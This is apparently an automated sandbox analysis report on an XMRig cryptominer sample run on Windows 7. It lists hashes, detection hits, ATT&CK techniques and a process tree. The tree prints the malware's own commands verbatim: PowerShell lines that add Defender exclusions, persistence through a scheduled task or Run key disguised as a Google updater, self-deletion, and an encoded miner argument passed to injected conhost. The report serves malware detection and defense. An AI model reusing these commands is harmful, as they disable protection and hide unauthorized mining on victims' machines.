xmrig | 118a83cef7804742f9bc8f11c9deea34b84c35d65edca3036667edbd02dc7df8

max time kernel
485s
max time network
1785s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
16/01/2024, 20:08

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General

Target

qM5GMXBk6hJE6Y5e(18).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2536 created 1196	2536	qM5GMXBk6hJE6Y5e(18).exe	17
PID 2536 created 1196	2536	qM5GMXBk6hJE6Y5e(18).exe	17
PID 2536 created 1196	2536	qM5GMXBk6hJE6Y5e(18).exe	17
PID 2536 created 1196	2536	qM5GMXBk6hJE6Y5e(18).exe	17
PID 1620 created 1196	1620	updater.exe	17
PID 1620 created 1196	1620	updater.exe	17
PID 1620 created 1196	1620	updater.exe	17
PID 1620 created 1196	1620	updater.exe	17
PID 2904 created 1196	2904	conhost.exe	17
PID 1620 created 1196	1620	updater.exe	17

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral21/memory/2512-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-134-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral21/memory/2512-136-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2608	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1620	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1980	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral21/memory/2512-68-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-134-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral21/memory/2512-136-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1620 set thread context of 2904	1620	updater.exe	52
PID 1620 set thread context of 2512	1620	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e(18).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2708	schtasks.exe
1304	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1764	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b0db9566d548da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2536	qM5GMXBk6hJE6Y5e(18).exe
2536	qM5GMXBk6hJE6Y5e(18).exe
2184	powershell.exe
2536	qM5GMXBk6hJE6Y5e(18).exe
2536	qM5GMXBk6hJE6Y5e(18).exe
2756	powershell.exe
2536	qM5GMXBk6hJE6Y5e(18).exe
2536	qM5GMXBk6hJE6Y5e(18).exe
2536	qM5GMXBk6hJE6Y5e(18).exe
2536	qM5GMXBk6hJE6Y5e(18).exe
2872	powershell.exe
1620	updater.exe
1620	updater.exe
1972	powershell.exe
1620	updater.exe
1620	updater.exe
2932	powershell.exe
1620	updater.exe
1620	updater.exe
1620	updater.exe
1620	updater.exe
2904	conhost.exe
2904	conhost.exe
1620	updater.exe
1620	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2184	powershell.exe
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeDebugPrivilege	1972	powershell.exe
Token: SeDebugPrivilege	2932	powershell.exe
Token: SeDebugPrivilege	1620	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1764	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1764	WMIC.exe
Token: SeSecurityPrivilege	1764	WMIC.exe
Token: SeTakeOwnershipPrivilege	1764	WMIC.exe
Token: SeLoadDriverPrivilege	1764	WMIC.exe
Token: SeSystemtimePrivilege	1764	WMIC.exe
Token: SeBackupPrivilege	1764	WMIC.exe
Token: SeRestorePrivilege	1764	WMIC.exe
Token: SeShutdownPrivilege	1764	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1764	WMIC.exe
Token: SeUndockPrivilege	1764	WMIC.exe
Token: SeManageVolumePrivilege	1764	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1764	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1764	WMIC.exe
Token: SeSecurityPrivilege	1764	WMIC.exe
Token: SeTakeOwnershipPrivilege	1764	WMIC.exe
Token: SeLoadDriverPrivilege	1764	WMIC.exe
Token: SeSystemtimePrivilege	1764	WMIC.exe
Token: SeBackupPrivilege	1764	WMIC.exe
Token: SeRestorePrivilege	1764	WMIC.exe
Token: SeShutdownPrivilege	1764	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1764	WMIC.exe
Token: SeUndockPrivilege	1764	WMIC.exe
Token: SeManageVolumePrivilege	1764	WMIC.exe
Token: SeLockMemoryPrivilege	2512	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2756 wrote to memory of 2708	2756	powershell.exe	32
PID 2756 wrote to memory of 2708	2756	powershell.exe	32
PID 2756 wrote to memory of 2708	2756	powershell.exe	32
PID 2608 wrote to memory of 2616	2608	cmd.exe	34
PID 2608 wrote to memory of 2616	2608	cmd.exe	34
PID 2608 wrote to memory of 2616	2608	cmd.exe	34
PID 2872 wrote to memory of 2648	2872	powershell.exe	36
PID 2872 wrote to memory of 2648	2872	powershell.exe	36
PID 2872 wrote to memory of 2648	2872	powershell.exe	36
PID 1980 wrote to memory of 1620	1980	taskeng.exe	40
PID 1980 wrote to memory of 1620	1980	taskeng.exe	40
PID 1980 wrote to memory of 1620	1980	taskeng.exe	40
PID 2932 wrote to memory of 1304	2932	powershell.exe	45
PID 2932 wrote to memory of 1304	2932	powershell.exe	45
PID 2932 wrote to memory of 1304	2932	powershell.exe	45
PID 1620 wrote to memory of 2904	1620	updater.exe	52
PID 2996 wrote to memory of 1764	2996	cmd.exe	48
PID 2996 wrote to memory of 1764	2996	cmd.exe	48
PID 2996 wrote to memory of 1764	2996	cmd.exe	48
PID 1620 wrote to memory of 2512	1620	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1196
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(18).exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(18).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2756
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2708
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(18).exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2932
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1304
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2040
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2996
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2904
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2512

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2616

C:\Windows\system32\taskeng.exe
taskeng.exe {914F4C44-A6E4-49A5-9652-87DF2B0F3769} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1980
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1620

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2648

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
353KB

MD5
01adb482716a7bdd2b74103208367bcd

SHA1
b8c7b8ba87ce58e021f5ec7a235cc3a337b7fc37

SHA256
adfd628b139cdcc1f3a6ebda96db40e4f60bf60c1dec87b4efa608fc93f3713e

SHA512
12e22b86df4b2b026deff6a7a3498ba7d9beeff50d64a8544a64a6836f19329d8d68b98eeda58b40d4d7de2eb5e884ae4e25e2fb53ebce375ffc8861195936ae

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
412KB

MD5
bf9310f2a6eb4a977f7578532c2f9ac6

SHA1
e5824451818a5f60adae6a8e704d22eabef3880c

SHA256
c30e6dbc1df86da700ebcff92f0b71b9fbe4804cda72c8a4c1d182955aa08b81

SHA512
d7efe79b26f4eb21571a991bbe782dddb7de009967fb4b691d3cd05a3fd760272304c70f40563233690126f02de28e53685f6d1edd90ec7fb23ef50f13f88a4a

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\U0V5RSYP2BHLANB89LO0.temp

Filesize
7KB

MD5
4203dfc4abcb7811d17c0aa54d7b10a5

SHA1
c83685d29ced703b01852ae749a782eecc53e085

SHA256
96bef2206942c370879f5b19b171090bdc83446916298a335cf0e76740082a9a

SHA512
6b13346f3f0e137bc512cb97f78375beb5dcc7960457ca588635defe0862909bce8c628df340ae2ba25079cc7bbe979e356abf38d5c4774cf54db2d49bace07e

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
407KB

MD5
4b71c7b5e26a38cd164f113c05efb473

SHA1
adfd33d7f119be0c8f09d14a0e914146e2b41c1d

SHA256
8466f48b6303833f29f9c14d675e8952a6517d930aa5441eb92cdb01d130343d

SHA512
b87f0ac9484f0229713a653c3e00e01b171373bcd5099fb5ac18c01851ac55bac88738549d720da4271065adce8caaf5a5c57257891fbf8414d7db8f04cfed27

Download Submit
memory/1620-46-0x000000013F530000-0x000000013F741000-memory.dmp

Filesize
2.1MB

Download
memory/1620-67-0x000000013F530000-0x000000013F741000-memory.dmp

Filesize
2.1MB

Download
memory/1972-49-0x000007FEF4B30000-0x000007FEF54CD000-memory.dmp

Filesize
9.6MB

Download
memory/1972-50-0x0000000001630000-0x00000000016B0000-memory.dmp

Filesize
512KB

Download
memory/1972-47-0x000007FEF4B30000-0x000007FEF54CD000-memory.dmp

Filesize
9.6MB

Download
memory/1972-48-0x0000000001630000-0x00000000016B0000-memory.dmp

Filesize
512KB

Download
memory/1972-52-0x0000000001630000-0x00000000016B0000-memory.dmp

Filesize
512KB

Download
memory/1972-51-0x0000000001630000-0x00000000016B0000-memory.dmp

Filesize
512KB

Download
memory/1972-53-0x000007FEF4B30000-0x000007FEF54CD000-memory.dmp

Filesize
9.6MB

Download
memory/2184-9-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2184-10-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2184-13-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2184-7-0x000007FEF54D0000-0x000007FEF5E6D000-memory.dmp

Filesize
9.6MB

Download
memory/2184-12-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2184-8-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2184-11-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/2184-6-0x0000000001F00000-0x0000000001F08000-memory.dmp

Filesize
32KB

Download
memory/2184-5-0x000000001B750000-0x000000001BA32000-memory.dmp

Filesize
2.9MB

Download
memory/2512-101-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-103-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-79-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-99-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-118-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-126-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-130-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-105-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-132-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-134-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-68-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-136-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-69-0x00000000000F0000-0x0000000000110000-memory.dmp

Filesize
128KB

Download
memory/2512-70-0x0000000000750000-0x0000000000770000-memory.dmp

Filesize
128KB

Download
memory/2512-71-0x0000000000F90000-0x0000000000FB0000-memory.dmp

Filesize
128KB

Download
memory/2512-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-73-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2512-76-0x0000000000750000-0x0000000000770000-memory.dmp

Filesize
128KB

Download
memory/2512-77-0x0000000000F90000-0x0000000000FB0000-memory.dmp

Filesize
128KB

Download
memory/2512-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2536-29-0x000000013F190000-0x000000013F3A1000-memory.dmp

Filesize
2.1MB

Download
memory/2536-0-0x000000013F190000-0x000000013F3A1000-memory.dmp

Filesize
2.1MB

Download
memory/2756-19-0x000000001B380000-0x000000001B662000-memory.dmp

Filesize
2.9MB

Download
memory/2756-22-0x00000000027D0000-0x00000000027D8000-memory.dmp

Filesize
32KB

Download
memory/2756-21-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2756-20-0x000007FEF4B30000-0x000007FEF54CD000-memory.dmp

Filesize
9.6MB

Download
memory/2756-24-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
